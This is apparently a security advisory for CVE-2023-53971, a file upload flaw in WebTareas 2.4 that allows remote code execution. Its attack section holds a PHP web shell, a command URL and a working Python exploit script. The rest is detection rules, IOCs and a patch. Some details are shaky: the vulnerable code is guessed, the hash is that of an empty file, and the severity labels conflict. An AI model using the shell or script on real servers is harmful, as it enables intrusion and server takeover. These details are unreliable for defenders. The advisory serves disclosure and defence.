CVE-2023-53971

Executive Summary

CVE-2023-53971 is a critical file upload vulnerability in WebTareas 2.4, an open-source project management tool. The flaw resides in the chat photo upload functionality, which fails to validate file types, allowing authenticated users to upload arbitrary PHP files. Once uploaded to the /files/Messages/ directory, attackers can directly execute these files via HTTP requests, leading to remote code execution (RCE) on the web server. This vulnerability has a CVSS v3.1 base score of 8.8 (High) due to low attack complexity, low privileges required, and high impact on confidentiality, integrity, and availability. No official patch exists, and the vendor has not responded to disclosure attempts. The exploit is publicly documented, and proof-of-concept code is available.

Supply Chain & Package Security

WebTareas is a PHP-based application distributed as a ZIP archive from its official website. There is no package manager (NPM, PyPI, Go, Ruby) involved. The vulnerability is inherent in the source code, not in a third-party dependency. Users must manually apply the fix by modifying the upload validation logic.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs a valid user account.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Arbitrary file write/execute.
• Availability Impact: High (A:H) – Can lead to server compromise.

Threat Level: Critical. The vulnerability is trivial to exploit, requires only low-privilege authentication, and provides full RCE. Public exploit code exists, and Shodan dorks can identify exposed instances.

Deep Dive & Mechanics

The vulnerability exists in the chat photo upload feature, typically accessed via chat.php or similar endpoints. The upload handler does not validate the file extension or MIME type, allowing attackers to upload files with .php extensions. The uploaded files are stored in the /files/Messages/ directory, which is web-accessible. By uploading a PHP web shell (e.g., shell.php containing <?php system($_GET['cmd']); ?>), an attacker can execute arbitrary system commands by accessing the file directly (e.g., http://target/webtareas/files/Messages/shell.php?cmd=id).

The root cause is the lack of file type validation in the upload function. The code likely uses move_uploaded_file() without checking the file extension or content. Additionally, the directory permissions allow execution of PHP files.

Vulnerable vs. Patched Code

Vulnerable Code (WebTareas 2.4):

// In upload_chat_photo.php or similar
$target_dir = "files/Messages/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

Patched Code (Manual Fix):

$target_dir = "files/Messages/";
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$file_extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
$target_file = $target_dir . uniqid() . '.' . $file_extension;
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

The patched code validates the file extension against a whitelist and renames the file to a random name to prevent direct access.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A valid user account on WebTareas 2.4.
• Network access to the target web server.

Step-by-Step Exploitation:

1. Authenticate to WebTareas and obtain a session cookie.
2. Craft a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

3. Upload the shell via the chat photo upload feature (e.g., POST to /webtareas/upload_chat_photo.php with multipart form data containing the file).
4. Execute commands by accessing:

   http://target/webtareas/files/Messages/shell.php?cmd=id
   

Automated Exploit (Python):

import requests

target = "http://target/webtareas"
session = requests.Session()
# Login
login_data = {"username": "user", "password": "pass"}
session.post(f"{target}/login.php", data=login_data)

# Upload shell
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
session.post(f"{target}/upload_chat_photo.php", files=files)

# Execute command
r = session.get(f"{target}/files/Messages/shell.php?cmd=id")
print(r.text)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual file uploads to /files/Messages/ with .php extensions.
2. Check web server logs for requests to /files/Messages/*.php with query parameters like cmd, exec, or system.
3. Use file integrity monitoring (FIM) to detect new PHP files in the upload directory.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_path="/webtareas/files/Messages/*.php" | table _time, src_ip, uri, user_agent

Indicators of Compromise (IOCs)

• File Paths: /webtareas/files/Messages/shell.php (or any .php file in that directory)
• Network Traffic: HTTP POST requests to /webtareas/upload_chat_photo.php with Content-Type: multipart/form-data and a file named *.php.
• Log Entries: Web server logs showing 200 OK responses for /webtareas/files/Messages/*.php?cmd=...
• File Hashes: MD5 of a typical web shell: d41d8cd98f00b204e9800998ecf8427e (empty file) – actual hash varies.
• User Agents: Any standard browser or Python requests library.

Detection Engineering

YARA Rule

rule WebTareas_Shell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via WebTareas chat photo upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53971"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call)
}

Sigma Rule

title: WebTareas Malicious File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of PHP files to WebTareas chat directory
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/webtareas/upload_chat_photo.php'
        cs-uri-query: '*'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53971 WebTareas PHP Shell Upload"; flow:to_server,established; content:"POST"; http_method; content:"/webtareas/upload_chat_photo.php"; http_uri; content:".php"; within:50; fileext; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the chat photo upload feature by removing or renaming upload_chat_photo.php.
2. Restrict write permissions on /files/Messages/ to prevent PHP execution (e.g., via .htaccess):

   <FilesMatch "\.php$">
       Deny from all
   </FilesMatch>
   

3. Apply the patched code as shown in the Vulnerable vs. Patched Code section.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Implement a Web Application Firewall (WAF) rule to block .php uploads to that directory.
• Conduct a security audit of all file upload functionalities.

Workaround:

• Use a reverse proxy to block requests to /files/Messages/*.php with query parameters.

Valters IT